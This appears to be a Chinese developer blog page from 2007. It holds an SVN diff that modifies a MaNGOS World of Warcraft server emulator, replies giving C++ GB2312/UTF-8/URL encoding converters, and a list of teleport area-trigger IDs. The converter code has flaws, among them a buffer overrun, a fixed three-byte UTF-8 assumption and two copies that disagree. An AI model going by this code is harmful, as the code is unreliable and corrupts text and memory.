+ if ( !_player->HasItemCount(hearthstone_itemid, 1) && _player->GetBankItemCount(hearthstone_itemid) <1)
+ {
+ uint16 dest;
+ uint8 msg = _player->CanStoreNewItem( NULL_BAG, NULL_SLOT, dest, hearthstone_itemid, 1, false );
+ if( msg == EQUIP_ERR_OK )
+ {
+ Item* newitem = _player->StoreNewItem( dest, hearthstone_itemid, 1, true);
+ _player->SendNewItem(newitem, 1, true, false);
+ }
+ else
+ {
+ _player->SendEquipError( msg, NULL, NULL );
+ }
+ }
+
+ // send spell for bind 3286 bind magic
+ data.Initialize(SMSG_SPELL_START, (8+8+4+2+4+2+8) );
+ data.append(npc->GetPackGUID());
+ data.append(npc->GetPackGUID());
+ data << bindspell; // spell id
+ data << uint16(0); // cast flags
+ data << uint32(0); // time
+ data << uint16(0x0002); // target mask
+ data.append(_player->GetPackGUID()); // target's packed guid
+ SendPacket( &data );
+
+ data.Initialize(SMSG_SPELL_GO, (8+8+4+2+1+8+1+2+8));
+ data.append(npc->GetPackGUID());
+ data.append(npc->GetPackGUID());
+ data << bindspell; // spell id
+ data << uint16(0x0100); // cast flags
+ data << uint8(0x01); // targets count
+ data << _player->GetGUID(); // target's full guid
+ data << uint8(0x00); // ?
+ data << uint16(0x0002); // target mask
+ data.append(_player->GetPackGUID()); // target's packed guid
+ SendPacket( &data );
+
+ data.Initialize( SMSG_TRAINER_BUY_SUCCEEDED, (8+4));
+ data << npc->GetGUID();
+ data << bindspell;
+ SendPacket( &data );
+
+ // binding
+ data.Initialize( SMSG_BINDPOINTUPDATE, (4+4+4+4+4) );
+ data << float(_player->GetPositionX());
+ data << float(_player->GetPositionY());
+ data << float(_player->GetPositionZ());
+ data << uint32(_player->GetMapId());
+ data << uint32(_player->GetZoneId());
+ SendPacket( &data );
+
+ DEBUG_LOG("New Home Position X is %f",_player->GetPositionX());
+ DEBUG_LOG("New Home Position Y is %f",_player->GetPositionY());
+ DEBUG_LOG("New Home Position Z is %f",_player->GetPositionZ());
+ DEBUG_LOG("New Home MapId is %u",_player->GetMapId());
+ DEBUG_LOG("New Home ZoneId is %u",_player->GetZoneId());
+
+ // zone update
+ data.Initialize( SMSG_PLAYERBOUND, 8+4 );
+ data << uint64(_player->GetGUID());
+ data << uint32(_player->GetZoneId());
+ SendPacket( &data );
+
+ _player->PlayerTalkClass->CloseGossip();
}
//Need fix
Index: src/game/Player.cpp
===================================================================
--- src/game/Player.cpp (revision 3567)
+++ src/game/Player.cpp (working copy)
@@ -274,7 +274,7 @@
ChrRacesEntry const* rEntry = sChrRacesStore.LookupEntry(race);
if(!rEntry)
{
- sLog.outError("Race %u not found in DB?(Wrong DBC files?)",race);
+ sLog.outError("Race %u not found in DB?(Wrong DBC files?)",race);
return false;
}
@@ -369,7 +369,7 @@
m_Played_time[1] = 0;
// base stats and related field values
- InitStatsForLevel(1,false,false);
+ InitStatsForLevel(sWorld.getConfig(CONFIG_LEVEL_FIRST) ,false,false);//初始出生人物等级 Karlson
InitTalentForLevel();
// apply original stats mods before spell loading or item equipment that call before equip _RemoveStatsMods()
@@ -423,7 +423,7 @@
}
UpdateBlockPercentage();
-
+ SetMoney(sWorld.getConfig(CONFIG_MY_MONEY));//Karlson
uint16 dest;
uint8 msg;
Item *pItem;
Index: src/game/ScriptCalls.cpp
===================================================================
--- src/game/ScriptCalls.cpp (revision 3567)
+++ src/game/ScriptCalls.cpp (working copy)
@@ -59,7 +59,9 @@
||!(testScript->ItemQuestAccept =(scriptCallItemQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemQuestAccept" ))
||!(testScript->GOQuestAccept =(scriptCallGOQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GOQuestAccept" ))
||!(testScript->ReceiveEmote =(scriptCallReceiveEmote )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ReceiveEmote" ))
+ ||!(testScript->ItemUse =(scriptCallItemUse )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemUse" )) //传送宝石 Karlson
||!(testScript->GetAI =(scriptCallGetAI )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GetAI" ))
+ ||!(testScript->GossipSelect_Item =(scriptCallGossipSelect_Item )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GossipSelect_Item" )) //传送宝石 Karlson
)
{
MANGOS_CLOSE_LIBRARY(testScript->hScriptsLib);
Index: src/game/ScriptCalls.h
===================================================================
--- src/game/ScriptCalls.h (revision 3567)
+++ src/game/ScriptCalls.h (working copy)
@@ -26,7 +26,9 @@
typedef void(MANGOS_IMPORT * scriptCallScriptsInit) ();
typedef void(MANGOS_IMPORT * scriptCallScriptsFree) ();
-
+ //传送宝石增加 Karlson
+typedef bool(MANGOS_IMPORT * scriptCallGossipSelect_Item)(Player *player, Item *_Item, uint32 sender, uint32 action);
+ //传送宝石增加 Karlson
typedef bool(MANGOS_IMPORT * scriptCallGossipHello) (Player *player, Creature *_Creature );
typedef bool(MANGOS_IMPORT * scriptCallQuestAccept) (Player *player, Creature *_Creature, Quest *);
typedef bool(MANGOS_IMPORT * scriptCallGossipSelect)(Player *player, Creature *_Creature, uint32 sender, uint32 action);
@@ -43,12 +45,13 @@
typedef bool(MANGOS_IMPORT * scriptCallGOChooseReward)(Player *player, GameObject *, Quest *, uint32 opt );
typedef bool(MANGOS_IMPORT * scriptCallReceiveEmote) ( Player *player, Creature *_Creature, uint32 emote );
typedef CreatureAI* (MANGOS_IMPORT * scriptCallGetAI) ( Creature *_Creature );
+typedef bool(MANGOS_IMPORT * scriptCallItemUse) ( Player *player, Item* _Item); //传送宝石 Karlson
typedef struct
{
scriptCallScriptsInit ScriptsInit;
scriptCallScriptsFree ScriptsFree;
-
+ scriptCallGossipSelect_Item GossipSelect_Item; //传送宝石 Karlson
scriptCallGossipHello GossipHello;
scriptCallGOChooseReward GOChooseReward;
scriptCallQuestAccept QuestAccept;
@@ -65,6 +68,7 @@
scriptCallGOQuestAccept GOQuestAccept;
scriptCallReceiveEmote ReceiveEmote;
scriptCallGetAI GetAI;
+ scriptCallItemUse ItemUse; //传送宝石 Karlson
MANGOS_LIBRARY_HANDLE hScriptsLib;
}_ScriptSet,*ScriptsSet;
Index: src/game/Unit.cpp
===================================================================
--- src/game/Unit.cpp (revision 3567)
+++ src/game/Unit.cpp (working copy)
@@ -4196,7 +4196,11 @@
float tmpDamage = (pdamage+DoneActualBenefit)*DoneTotalMod;
tmpDamage = (tmpDamage+TakenActualBenefit)*TakenTotalMod;
+ if(GetTypeId() == TYPEID_PLAYER) //Karlson
+ {
+ tmpDamage *= sWorld.getConfig(CONFIG_tmp_Damage);//法术技能伤害
+ } //Karlson
return tmpDamage > 0 ? uint32(tmpDamage) : 0;
}
@@ -4346,7 +4350,7 @@
//heal += float(m_AuraModifiers[SPELL_AURA_MOD_HEALING]);
if (heal < 0) heal = 0;
-
+ heal=heal* sWorld.getConfig(CONFIG_aura_healing);//法术技能治疗的办法 /Karlson
return uint32(heal);
}
@@ -4526,6 +4530,10 @@
}
float tmpDamage = ((*pdamage + DoneFlatBenefit) + TakenFlatBenefit)*TakenTotalMod;
+ if(GetTypeId() == TYPEID_PLAYER) //Karlson
+ {
+ tmpDamage *= sWorld.getConfig(CONFIG_pda_Damage);
+ }//提高物理攻击伤害 Karlson
// bonus result can be negative
*pdamage = tmpDamage > 0 ? uint32(tmpDamage) : 0;
Index: src/game/World.cpp
===================================================================
--- src/game/World.cpp (revision 3567)
+++ src/game/World.cpp (working copy)
@@ -269,6 +269,9 @@
m_configs[CONFIG_COMPRESSION] = 1;
}
m_configs[CONFIG_GRID_UNLOAD] = sConfig.GetIntDefault("GridUnload", 1);
+ m_configs[CONFIG_aura_healing] =sConfig.GetIntDefault("aurahealing", 5);//技能治疗伤害的办法 Karlson
+ m_configs[CONFIG_tmp_Damage] =sConfig.GetIntDefault("tmpDamage", 5);//技能伤害的办法
+ m_configs[CONFIG_pda_Damage] =sConfig.GetIntDefault("pdaDamage", 2);//物理职业技能伤害的办法Karlson
m_configs[CONFIG_INTERVAL_SAVE] = sConfig.GetIntDefault("PlayerSaveInterval", 900000);
m_configs[CONFIG_INTERVAL_GRIDCLEAN] = sConfig.GetIntDefault("GridCleanUpDelay", 300000);
m_configs[CONFIG_INTERVAL_MAPUPDATE] = sConfig.GetIntDefault("MapUpdateInterval", 100);
@@ -279,6 +282,8 @@
m_configs[CONFIG_GROUP_XP_DISTANCE] = m_configs[CONFIG_GROUP_XP_DISTANCE]*m_configs[CONFIG_GROUP_XP_DISTANCE];
m_configs[CONFIG_GROUP_XP_LEVELDIFF] = sConfig.GetIntDefault("MaxGroupXPLevelDiff", 10);
/// todo Add MonsterSight and GuarderSight (with meaning) in mangosd.conf or put them as define
+ m_configs[CONFIG_MY_MONEY] =sConfig.GetIntDefault("FirstMoney", 8); //Karlson
+ m_configs[CONFIG_LEVEL_FIRST] = sConfig.GetIntDefault("LevelFirst", 1);//初始出生人物等级 Karlson
m_configs[CONFIG_SIGHT_MONSTER] = sConfig.GetIntDefault("MonsterSight", 400);
m_configs[CONFIG_SIGHT_GUARDER] = sConfig.GetIntDefault("GuarderSight", 500);
m_configs[CONFIG_GAME_TYPE] = sConfig.GetIntDefault("GameType", 0);
Index: src/game/World.h
===================================================================
--- src/game/World.h (revision 3567)
+++ src/game/World.h (working copy)
@@ -86,6 +86,11 @@
CONFIG_SKILL_CHANCE_GREY,
CONFIG_MAX_OVERSPEED_PINGS,
CONFIG_SAVE_RESPAWN_TIME_IMMEDIATLY,
+ CONFIG_LEVEL_FIRST,//Karlson
+ CONFIG_MY_MONEY,
+ CONFIG_aura_healing,//技能治疗伤害的办法
+ CONFIG_tmp_Damage,//法术技能伤害的办法
+ CONFIG_pda_Damage,//物理技能伤害的办法 Karlson
CONFIG_WEATHER,
CONFIG_VALUE_COUNT
};
Index: src/game/WorldSession.h
===================================================================
--- src/game/WorldSession.h (revision 3567)
+++ src/game/WorldSession.h (working copy)
@@ -46,7 +46,10 @@
bool PlayerLoading() { return m_playerLoading; }
void SizeError(WorldPacket const& packet, uint32 size) const;
-
+ //added by bigbomb 宝石拍卖行 Karlson
+ void SendAuctionItemHello(uint64 guid );
+ void SendBindPointHome(uint64 guid );
+ //added by bigbomb 宝石炉石 Karlson
void SendPacket(WorldPacket* packet);
void SendNotification(const char *format,...);
void SendLfgResult(uint32 type, uint32 entry);
re: 编码问题 聂文龙 2007-08-26 03:44
// ChineseCodeLib.h: interface for the CChineseCodeLib class.
//
//////////////////////////////////////////////////////////////////////
#include<string>
using namespace std;
/*
功能:汉字GB2312与UTF-8编码互转
作者:litz
Email:mycro@163.com
参考:吴康彬先生的文章《UTF-8与GB2312之间的互换》
http://www.vckbase.com/document/viewdoc/?id=1397
*/
#if !defined(__CCHINESECODELIB_H_)
#define __CCHINESECODELIB_H_
class CChineseCodeLib
{
public:
static void UTF_8ToGB2312(string& pOut,char *pText, int pLen);
static void GB2312ToUTF_8(string& pOut,char *pText, int pLen);
// Unicode 转换成UTF-8
static void UnicodeToUTF_8(char* pOut,WCHAR* pText);
// GB2312 转换成 Unicode
static void Gb2312ToUnicode(WCHAR* pOut,char *gbBuffer);
// 把Unicode 转换成 GB2312
static void UnicodeToGB2312(char* pOut,unsigned short uData);
// 把UTF-8转换成Unicode
static void UTF_8ToUnicode(WCHAR* pOut,char* pText);
CChineseCodeLib();
virtual ~CChineseCodeLib();
};
#endif // !defined(__CCHINESECODELIB_H_)
// ChineseCodeLib.cpp: implementation of the CChineseCodeLib class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChineseCodeLib.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChineseCodeLib::CChineseCodeLib()
{
}
CChineseCodeLib::~CChineseCodeLib()
{
}
void CChineseCodeLib::UTF_8ToUnicode(WCHAR* pOut,char *pText)
{
char* uchar = (char *)pOut;
uchar[1] = ((pText[0] & 0x0F) << 4) + ((pText[1] >> 2) & 0x0F);
uchar[0] = ((pText[1] & 0x03) << 6) + (pText[2] & 0x3F);
return;
}
void CChineseCodeLib::UnicodeToGB2312(char* pOut,unsigned short uData)
{
WideCharToMultiByte(CP_ACP,NULL,&uData,1,pOut,sizeof(WCHAR),NULL,NULL);
return;
}
void CChineseCodeLib::Gb2312ToUnicode(WCHAR* pOut,char *gbBuffer)
{
::MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,gbBuffer,2,pOut,1);
return;
}
void CChineseCodeLib::UnicodeToUTF_8(char* pOut,WCHAR* pText)
{
// 注意 WCHAR高低字的顺序,低字节在前,高字节在后
char* pchar = (char *)pText;
pOut[0] = (0xE0 | ((pchar[1] & 0xF0) >> 4));
pOut[1] = (0x80 | ((pchar[1] & 0x0F) << 2)) + ((pchar[1] & 0xC0) >> 6);
pOut[2] = (0x80 | (pchar[0] & 0x3F));
return;
}
void CChineseCodeLib::GB2312ToUTF_8(string& pOut,char *pText, int pLen)
{
char buf[4];
char* rst = new char[pLen + (pLen >> 2) + 2];
memset(buf,0,4);
memset(rst,0,pLen + (pLen >> 2) + 2);
int i = 0;
int j = 0;
while(i < pLen)
{
//如果是英文直接复制就可以
if( *(pText + i) >= 0)
{
rst[j++] = pText[i++];
}
else
{
WCHAR pbuffer;
Gb2312ToUnicode(&pbuffer,pText+i);
UnicodeToUTF_8(buf,&pbuffer);
unsigned short int tmp = 0;
tmp = rst[j] = buf[0];
tmp = rst[j+1] = buf[1];
tmp = rst[j+2] = buf[2];
j += 3;
i += 2;
}
}
rst[j] = '\0';
//返回结果
pOut = rst;
delete []rst;
return;
}
void CChineseCodeLib::UTF_8ToGB2312(string &pOut, char *pText, int pLen)
{
char * newBuf = new char[pLen];
char Ctemp[4];
memset(Ctemp,0,4);
int i =0;
int j = 0;
while(i < pLen)
{
if(pText[i] > 0)
{
newBuf[j++] = pText[i++];
}
else
{
WCHAR Wtemp;
UTF_8ToUnicode(&Wtemp,pText + i);
UnicodeToGB2312(Ctemp,Wtemp);
newBuf[j] = Ctemp[0];
newBuf[j + 1] = Ctemp[1];
i += 3;
j += 2;
}
}
newBuf[j] = '\0';
pOut = newBuf;
delete []newBuf;
return;
}
re: 编码问题 聂文龙 2007-08-26 03:43
//这是个类strCoding (strCoding.h文件)
#pragma once
#include <iostream>
#include <string>
#include <windows.h>
using namespace std;
class strCoding
{
public:
strCoding(void);
~strCoding(void);
void UTF_8ToGB2312(string &pOut, char *pText, int pLen);//utf_8转为gb2312
void GB2312ToUTF_8(string& pOut,char *pText, int pLen); //gb2312 转utf_8
string UrlGB2312(char * str); //urlgb2312编码
string UrlUTF8(char * str); //urlutf8 编码
string UrlUTF8Decode(string str); //urlutf8解码
string UrlGB2312Decode(string str); //urlgb2312解码
private:
void Gb2312ToUnicode(WCHAR* pOut,char *gbBuffer);
void UTF_8ToUnicode(WCHAR* pOut,char *pText);
void UnicodeToUTF_8(char* pOut,WCHAR* pText);
void UnicodeToGB2312(char* pOut,WCHAR uData);
char CharToInt(char ch);
char StrToBin(char *str);
};
//这是个类strCoding (strCoding.cpp文件)
#include "StdAfx.h"
#include ".\strcoding.h"
strCoding::strCoding(void)
{
}
strCoding::~strCoding(void)
{
}
void strCoding::Gb2312ToUnicode(WCHAR* pOut,char *gbBuffer)
{
::MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,gbBuffer,2,pOut,1);
return;
}
void strCoding::UTF_8ToUnicode(WCHAR* pOut,char *pText)
{
char* uchar = (char *)pOut;
uchar[1] = ((pText[0] & 0x0F) << 4) + ((pText[1] >> 2) & 0x0F);
uchar[0] = ((pText[1] & 0x03) << 6) + (pText[2] & 0x3F);
return;
}
void strCoding::UnicodeToUTF_8(char* pOut,WCHAR* pText)
{
// 注意 WCHAR高低字的顺序,低字节在前,高字节在后
char* pchar = (char *)pText;
pOut[0] = (0xE0 | ((pchar[1] & 0xF0) >> 4));
pOut[1] = (0x80 | ((pchar[1] & 0x0F) << 2)) + ((pchar[0] & 0xC0) >> 6);
pOut[2] = (0x80 | (pchar[0] & 0x3F));
return;
}
void strCoding::UnicodeToGB2312(char* pOut,WCHAR uData)
{
WideCharToMultiByte(CP_ACP,NULL,&uData,1,pOut,sizeof(WCHAR),NULL,NULL);
return;
}
//做为解Url使用
char strCoding:: CharToInt(char ch){
if(ch>='0' && ch<='9')return (char)(ch-'0');
if(ch>='a' && ch<='f')return (char)(ch-'a'+10);
if(ch>='A' && ch<='F')return (char)(ch-'A'+10);
return -1;
}
char strCoding::StrToBin(char *str){
char tempWord[2];
char chn;
tempWord[0] = CharToInt(str[0]); //make the B to 11 -- 00001011
tempWord[1] = CharToInt(str[1]); //make the 0 to 0 -- 00000000
chn = (tempWord[0] << 4) | tempWord[1]; //to change the BO to 10110000
return chn;
}
//UTF_8 转gb2312
void strCoding::UTF_8ToGB2312(string &pOut, char *pText, int pLen)
{
char buf[4];
char* rst = new char[pLen + (pLen >> 2) + 2];
memset(buf,0,4);
memset(rst,0,pLen + (pLen >> 2) + 2);
int i =0;
int j = 0;
while(i < pLen)
{
if(*(pText + i) >= 0)
{
rst[j++] = pText[i++];
}
else
{
WCHAR Wtemp;
UTF_8ToUnicode(&Wtemp,pText + i);
UnicodeToGB2312(buf,Wtemp);
unsigned short int tmp = 0;
tmp = rst[j] = buf[0];
tmp = rst[j+1] = buf[1];
tmp = rst[j+2] = buf[2];
//newBuf[j] = Ctemp[0];
//newBuf[j + 1] = Ctemp[1];
i += 3;
j += 2;
}
}
rst[j]='\0';
pOut = rst;
delete []rst;
}
//GB2312 转为 UTF-8
void strCoding::GB2312ToUTF_8(string& pOut,char *pText, int pLen)
{
char buf[4];
memset(buf,0,4);
pOut.clear();
int i = 0;
while(i < pLen)
{
//如果是英文直接复制就可以
if( pText[i] >= 0)
{
char asciistr[2]={0};
asciistr[0] = (pText[i++]);
pOut.append(asciistr);
}
else
{
WCHAR pbuffer;
Gb2312ToUnicode(&pbuffer,pText+i);
UnicodeToUTF_8(buf,&pbuffer);
pOut.append(buf);
i += 2;
}
}
return;
}
//把str编码为网页中的 GB2312 url encode ,英文不变,汉字双字节 如%3D%AE%88
string strCoding::UrlGB2312(char * str)
{
string dd;
size_t len = strlen(str);
for (size_t i=0;i<len;i++)
{
if(isalnum((BYTE)str[i]))
{
char tempbuff[2];
sprintf(tempbuff,"%c",str[i]);
dd.append(tempbuff);
}
else if (isspace((BYTE)str[i]))
{
dd.append("+");
}
else
{
char tempbuff[4];
sprintf(tempbuff,"%%%X%X",((BYTE*)str)[i] >>4,((BYTE*)str)[i] %16);
dd.append(tempbuff);
}
}
return dd;
}
//把str编码为网页中的 UTF-8 url encode ,英文不变,汉字三字节 如%3D%AE%88
string strCoding::UrlUTF8(char * str)
{
string tt;
string dd;
GB2312ToUTF_8(tt,str,(int)strlen(str));
size_t len=tt.length();
for (size_t i=0;i<len;i++)
{
if(isalnum((BYTE)tt.at(i)))
{
char tempbuff[2]={0};
sprintf(tempbuff,"%c",(BYTE)tt.at(i));
dd.append(tempbuff);
}
else if (isspace((BYTE)tt.at(i)))
{
dd.append("+");
}
else
{
char tempbuff[4];
sprintf(tempbuff,"%%%X%X",((BYTE)tt.at(i)) >>4,((BYTE)tt.at(i)) %16);
dd.append(tempbuff);
}
}
return dd;
}
//把url GB2312解码
string strCoding::UrlGB2312Decode(string str)
{
string output="";
char tmp[2];
int i=0,idx=0,ndx,len=str.length();
while(i<len){
if(str[i]=='%'){
tmp[0]=str[i+1];
tmp[1]=str[i+2];
output += StrToBin(tmp);
i=i+3;
}
else if(str[i]=='+'){
output+=' ';
i++;
}
else{
output+=str[i];
i++;
}
}
return output;
}
//把url utf8解码
string strCoding::UrlUTF8Decode(string str)
{
string output="";
string temp =UrlGB2312Decode(str);//
UTF_8ToGB2312(output,(char *)temp.data(),strlen(temp.data()));
return output;
}
//test
#include "stdafx.h"
#include "strCoding.h"
using namespace std;
int main()
{
strCoding cfm;
string keyword="大家好,欢迎你";
string Temp="";
string Output="";
//把关键字做url的utf8编码
Temp= cfm.UrlUTF8((char *)keyword.data());
cout<<Temp<<endl;
//把url的utf8编码的结果解码
Temp =cfm.UrlUTF8Decode(Temp);
cout<<Temp<<endl;
//把关键字做url的gb2312编码
Temp =cfm.UrlGB2312((char *)keyword.data());
cout<<Temp<<endl;
//把url的gb2312编码的结果解码
Temp =cfm.UrlGB2312Decode(Temp);
cout<<Temp<<endl;
//把关键字GB2312转UTF_8
cfm.GB2312ToUTF_8(Output,(char *)keyword.data(),strlen(keyword.data()));
cout<<Output<<endl;
//把GB2312转UTF_8转为中文
cfm.UTF_8ToGB2312(Temp,(char *)Output.data(),strlen(Output.data()));
cout<<Temp<<endl;
//system("pasue");
getchar();
return 0;
//
}
在VC7win32下调试通过
re: 编码问题 聂文龙 2007-08-26 03:07
VC 实现 汉字 GBK(GB2312) 转化为 UTF8 编码
void ConvertGBKToUtf8(CString& strGBK)
{
int len=MultiByteToWideChar(CP_ACP, 0, (LPCTSTR)strGBK, -1, NULL,0);
unsigned short * wszUtf8 = new unsigned short[len+1];
memset(wszUtf8, 0, len * 2 + 2);
MultiByteToWideChar(CP_ACP, 0, (LPCTSTR)strGBK, -1, wszUtf8, len);
len = WideCharToMultiByte(CP_UTF8, 0, wszUtf8, -1, NULL, 0, NULL, NULL);
char *szUtf8=new char[len + 1];
memset(szUtf8, 0, len + 1);
WideCharToMultiByte (CP_UTF8, 0, wszUtf8, -1, szUtf8, len, NULL,NULL);
strGBK = szUtf8;
delete[] szUtf8;
delete[] wszUtf8;
}
re: ascent wow 聂文龙 2007-08-25 21:24
AreaTriggerid Type Name
使用 .gotrig空格ID
如:
.gotrig 45
尽量不要使用副本内的传送ID 99% 会报坐标错误 传你去 影牙城堡 所以建议 传入口然后自己进副本
45 1 Scarlet Monastery - Graveyard (Entrance) 血色修道院-墓地 入口(副本内)
78 1 DeadMines Entrance 死亡矿井入口(副本内)
101 1 Stormwind Stockades Entrance 暴风监狱入口
107 1 Stormwind Vault Entrance
109 1 Stormwind Vault Instance
119 1 DeadMines Istance Start 死亡矿井 前门
121 1 Deadmines Istance End 死亡矿井后门
145 1 Shadowfang Keep Entrance 影牙城堡 入口(副本内)
194 1 Shadowfang keep - Entrance 影牙城堡 前门
226 1 The Barrens - Wailing Caverns 哀嚎洞穴 前门
228 1 The Barrens - Wailing Caverns
242 1 Razorfen Kraul Istance Start 剃刀沼泽 前门
244 1 Razorfen Kraul Entrance
257 1 Blackphantom Deeps Entrance 黑石深渊 (副本内) 坐标有问题会跳到 影牙城堡内...
259 1 Blackphantom Deeps Instance Start 黑石深渊前门
286 1 Uldaman Entrance 奥达曼 (副本内)坐标有问题会跳到 影牙城堡内...
288 1 Uldaman Istance Start 奥达曼 前门
322 1 Gnomeregan Istance Start 诺莫瑞根 前门
324 1 Gnomeregan Entrance 诺莫瑞根 (副本内)坐标有问题会跳到 影牙城堡内...
442 1 Razorfen Downs Entrance
444 1 Razorfen Downs Istance Start 剃刀高地 前门
446 1 Altar of Atal'Hakkar Entrance
448 1 Altar of Atal'Hakkar Instance start 阿塔哈卡神庙 前门
503 1 Stockades - Istance 暴风监狱 前门
523 1 Gnomeregan Train Depot Entrance 诺莫瑞根
525 1 Gnomeregan Train Fepot Istance 诺莫瑞根
527 4 Teldrassil - Ruth Theran 精灵城 海边
542 4 Teldrassil - Darnassus 达纳苏斯
602 1 Scarlet Monastery - Graveyard (Exit) 血色修道院
604 1 Scarlet Monastery - Cathedral (Exit)
606 1 Scarlet Monastery - Armory (Exit)
608 1 Scarlet Monastery - Library (Exit)
610 1 Scarlet Monastery - Cathedral (Entrance)
612 1 Scarlet Monastery - Armory (Entrance)
614 1 Scarlet Monastery - Library (Entrance)
702 4 Stormwind - Wizard Sanctum room 暴风城
704 4 Stormwind - Wizard Sanctum Tower portal
882 1 Uldaman Istance End 奥达曼
902 1 Uldaman Exit
922 1 Zul'Farrak Istance start 祖尔法拉克 前门
924 1 Zul'Farrak Entrance
1064 1 Onyxia's Lair - Dustwallow Instance 奥尼克希亚巢穴 前门
1466 1 Blackrock Mountain - Searing Gorge Instance?
1468 1 Blackrock Spire - Searing Gorge Instance (inside)
1470 1 Blackrock Spire - Searing Gorge Instance 黑石塔
1472 1 Blackrock Dephts - Searing Gorge Instance
2166 1 Deeprun Tram - Ironforge Instance (inside) 地铁 铁炉堡 地铁口
2171 1 Deeprun Tram - Stormwind Instance (inside) 地铁 暴风城 地铁口
2173 1 Deeprun Tram - Stormwind Instance
2175 1 Deeprun Tram - Ironforge Instance
2214 1 Stratholme - Eastern Plaguelands Instance 坐标有问题会跳到 影牙城堡内...
2216 1 Stratholme - Eastern Plaguelands Instance 坐标有问题会跳到 影牙城堡内...
2217 1 Stratholme - Eastern Plaguelands Instance 坐标有问题会跳到 影牙城堡内...
2221 1 Stratholme - Eastern Plaguelands Instance (inside) 斯坦索姆 前门
2226 1 Ragefire Chasm - Ogrimmar Instance (inside) 怒焰裂口 前门
2230 1 Ragefire Chasm - Ogrimmar Instance
2412 1 Alterac Valley - Alliance Entrance
2413 1 Alterac Valley - Horde Entrance
2527 1 Hall of Legends - Ogrimmar 奥格瑞玛 荣誉大厅 内
2530 1 Hall of Legends - Ogrimmar (inside) 奥格瑞玛 荣誉大厅 前门
2532 1 Stormwind - Champions Hall 暴风城 荣誉大厅 内
2534 1 Stormwind (inside) - Champions Hall
2567 1 scholomance entrance
2568 1 Scholomance Instance 通灵学院
2606 1 Alterac Valley - Horde Exit 部落 奥特兰克山谷 出口
2608 1 Alterac Valley - Alliance Exit 联盟 奥特兰克山谷 出口
2848 1 Onyxia's Lair Entrance
2886 1 The Molten Bridge MC
2890 1 The Molten Core Instance Entrence - exit 熔火之心 出口
3126 1 Maraudon 玛拉顿
3131 1 Maraudon
3133 1 Maraudon
3134 1 Maraudon
3183 1 Dire Maul
3184 1 Dire Maul
3185 1 Dire Maul
3186 1 Dire Maul
3187 1 Dire Maul
3189 1 Dire Maul
3190 1 Dire Maul
3191 1 Dire Maul
3193 1 Dire Maul
3194 1 Dire Maul
3195 1 Dire Maul
3196 1 Dire Maul 厄运之槌(东)后门
3197 1 Dire Maul 厄运之槌
3529 2 Molten Core in MC
3561 1 Teleport: Stormwind 暴风城
3562 1 Teleport: Ironforge 铁炉堡
3563 1 Teleport: Undercity 幽暗城
3565 1 Teleport: Darnassus 达纳苏斯
3566 1 Teleport: Thunder Bluff 雷霆崖
3567 1 Teleport: Orgrimmar 奥格瑞玛
3646 3 Warsong Gulch - Alliance Flag spawn 影牙城堡外 会摔死 - -!
3647 3 Warsong Gulch - Horde Flag spawn
3650 1 Ashenvale - Silverwing Grove (Warsong Gulch - Alliance Entrance) 战歌峡谷 有问题
3654 1 Barrens - Mor`shan Base camp (Warsong Gulch - Horde Entrance)
3669 3 Warsong Gulch - Horde Exit 战歌峡谷 部落 出口
3671 3 Warsong Gulch - Alliance Exit 战歌峡谷 联盟 出口
3686 3 Warsong Gulch - Alliance elexir of speed spawn
3687 3 Warsong Gulch - Horde elexir of speed spawn
3706 3 Warsong Gulch - Alliance elexir of regeneration spawn
3707 3 Warsong Gulch - Alliance elexir of berserk spawn
3708 3 Warsong Gulch - Horde elexir of regeneration spawn
3709 3 Warsong Gulch - Horde elexir of berserk spawn
3726 1 Blackwing Lair - Blackrock Mountain - Eastern Kingdoms
3728 1 Out - Blackwing Lair - Blackrock Mountain - Eastern Kingdoms 黑石塔
3847 1 In - Blackwing Lair - Blackrock Mountain - Eastern Kingdoms
3928 1 Zul'Gurub Entrance 祖尔格拉布 前门
3930 1 Zul'Gurub Exit
3948 1 Arathi Basin Alliance Out 阿拉希盆地 出口
3949 1 Arathi Basin Horde Out
3953 1 Arathi Basin Alliance In
3954 1 Arathi Basin Horde In
4006 1 Ruins Of Ahn'Qiraj (Inside) 安其拉
4008 1 Ruins Of Ahn'Qiraj (Outside)
4010 1 Ahn'Qiraj Temple (Outside)
4012 1 Ahn'Qiraj Temple (Inside) 安其拉神庙
4055 1 Naxxramas (Outside) 纳玛克斯
4131 1 Karazhan The Gatehouse (entrance) 卡拉赞
4135 1
4145 1 Hellfire Ramparts exit 地狱火堡垒 前门
4147 1 The Blood Furnace Out
4149 1 Magtheridon's Lair Out
4150 1 Hellfire Ramparts In
4151 1 The Shattered Halls In
4152 1 The Blood Furnace In
4153 1 Magtheridon's Lair In
4156 1 Naxxramas (Inside)
4297 1 Hellfire Ramparts Out
4311 1 Portal to human camp hyjal 时光之穴
4312 1 Portal from Hyjal to Horde Encampment
4313 1 Portal from Hyjal to NE village Tree of Life
4319 1 Hyjal Summit In
4320 1 The Black Morass Out
4321 1 Caverns of Time Out
4322 1 Black Morass Exit
4323 1 Portal from Hyjal to CoT main
4324 1 Caverns of Time In 时光之穴
4352 1 outland back to dark portal 黑暗之门[诅咒之地]
4354 1 Dark Portal to Outland 黑暗之门[外域]
4363 1 The Underbog In
4364 1 The Steamvault In
4365 1 The Slave Pens In
4366 1 The Steamvault Out
4367 1 The Underbog Out 盘牙洞穴
4379 1 The Slave Pens Out
4386 1 teleport to earstern plaguelands 东瘟疫
4397 1 Shadow Labyrinth Out 奥金顿
4399 1 Sethekk Halls Out
4401 1 Mana Tombs Out
4403 1 Auchenai Crypts Out
4404 1 Auchenai Crypts In
4405 1 Mana Tombs In
4406 1 Sethekk Halls In
4407 1 Shadow Labyrinth In
4409 1 from plaguelands to sunstrider isle 鬼魂之地
4416 1 Coilfang Reservoir In
4418 1 Coilfang Reservoir Out 盘牙水库
4436 1 Karazhan The Gatehouse (exit) 卡拉赞 出口
4455 1 The Arcatraz Out 风暴要塞
